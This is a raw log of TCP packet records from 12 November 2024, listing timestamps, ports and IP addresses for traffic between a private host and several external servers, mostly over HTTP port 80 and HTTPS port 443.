Nov 12, 2024 17:07:50.222269058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.222284079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.222313881 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.238241911 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.238655090 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.238673925 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.239118099 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.239124060 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.245651007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245697975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245709896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245737076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.245781898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.245817900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245857000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.245879889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245954037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245965004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245965004 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.245976925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.245996952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.246032000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.250319004 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.250554085 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.250570059 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.250900030 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.251251936 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.251339912 CET	443	49904	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.254556894 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.254744053 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.254756927 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.255069971 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.255408049 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.255472898 CET	443	49903	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:50.278606892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278641939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278654099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278671980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.278702021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.278846025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278857946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278879881 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.278907061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.278918028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278929949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.278954983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.278969049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279058933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279069901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279081106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279098988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279119015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279580116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279623985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279665947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279679060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279722929 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279794931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279805899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.279838085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.279864073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.280304909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.280353069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.280358076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.280369997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.280390978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.280406952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.341623068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.341679096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.341721058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.341732025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.341764927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.341794014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.366439104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366463900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366475105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366491079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.366516113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.366612911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366630077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366641998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366653919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366668940 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.366691113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.366818905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.366862059 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.368844986 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.368907928 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.368954897 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.371614933 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.371632099 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.371645927 CET	49901	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.371651888 CET	443	49901	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.375797987 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.375807047 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.376065016 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.376203060 CET	49913	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.376214027 CET	443	49913	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.398307085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398320913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398339987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398355961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398367882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398391962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398442984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398454905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398474932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398500919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398538113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398550034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398571014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398587942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.398896933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398986101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.398998022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399070024 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399070024 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399097919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399110079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399122000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399132013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399135113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399158955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399183035 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399887085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399912119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399923086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399930000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.399936914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.399946928 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.400000095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.400022030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.400042057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.401890039 CET	49904	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.401894093 CET	49903	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:50.436846018 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.437763929 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.437793016 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.438208103 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.438214064 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.461483955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.461599112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.461601973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.461611032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.461638927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.461651087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.486593962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486648083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486660004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486661911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.486705065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.486860037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486901999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.486942053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486954927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.486996889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.487041950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.487054110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.487077951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.487113953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.517925024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.517983913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.517985106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.517996073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518022060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.518034935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.518168926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518213987 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.518783092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518795013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518805981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518817902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518832922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518832922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.518845081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.518857956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.518887043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.519691944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.519704103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.519715071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.519726992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.519732952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.519742012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.519751072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.519788980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.519813061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.520281076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.520350933 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.520519018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.520530939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.520541906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.520559072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.520572901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.520612001 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.566785097 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.567122936 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.567176104 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.567238092 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.567260981 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.567271948 CET	49905	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.567277908 CET	443	49905	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.570445061 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.570496082 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.570648909 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.570795059 CET	49914	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.570811033 CET	443	49914	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.580811977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.580878019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.580926895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.580965042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.606385946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.606445074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.606456995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.606493950 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.606530905 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.606916904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.606952906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.606964111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.606965065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.607006073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.607054949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.607067108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.607109070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637372971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637424946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637443066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637443066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637459040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637482882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637510061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637528896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637552977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637568951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637578011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637696028 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637799978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637837887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637847900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637860060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637896061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.637969017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.637980938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638050079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638051033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638360977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638398886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638411045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638439894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638459921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638551950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638564110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638576031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638586998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638595104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638609886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638621092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.638829947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.638875008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.639209032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639254093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639266014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639292002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.639328957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.639348984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639394045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.639561892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639600992 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.639671087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.639707088 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.685472012 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.685950994 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.685977936 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.686517954 CET	49902	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.686522961 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.726663113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726682901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726699114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726752043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.726780891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.726803064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726814985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726825953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726836920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726850033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.726882935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.726968050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.726990938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.727030993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.727030993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.727103949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.727155924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757509947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757567883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757579088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757581949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757616997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757651091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757663012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757719040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757719040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757781982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757819891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757829905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.757852077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757852077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757905006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.757977962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758013010 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758049965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758061886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758111000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758150101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758167982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758207083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758507967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758559942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758572102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758579969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758616924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758671999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758683920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758696079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758749008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758749008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758806944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758816957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.758856058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.758856058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.770204067 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.770916939 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.770947933 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.771688938 CET	49906	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:50.771699905 CET	443	49906	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.799865007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.799881935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.799894094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:50.799983978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.799983978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:50.815947056 CET	443	49902	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:50.815983057 CET	443	49902	13.107.246.45	192.168.2.6
